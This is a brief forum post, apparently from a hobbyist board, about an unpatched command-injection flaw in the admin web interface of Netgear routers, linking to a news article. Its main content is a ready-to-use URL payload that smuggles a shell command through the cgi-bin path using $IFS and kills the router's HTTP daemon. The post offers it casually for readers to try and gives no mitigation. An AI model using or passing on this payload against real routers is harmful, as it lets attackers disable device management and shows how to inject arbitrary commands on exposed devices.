netgear vulnerability

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netgear vulnerability

if some of you guys have a netgear router conncted directly to internet, which is the purpose of the device lol, anyway there is a vulnerability on the admin webservice.
you can kill the http deamon by this commad

http://[router-IP-address]/cgi-bin/;killall$IFS'httpd'

all services and functionality will work, its only not manageable via website.
if you need it back simply cold boot it again :wink:

http://www.securityweek.com/unpatched-f ... rs-hacking
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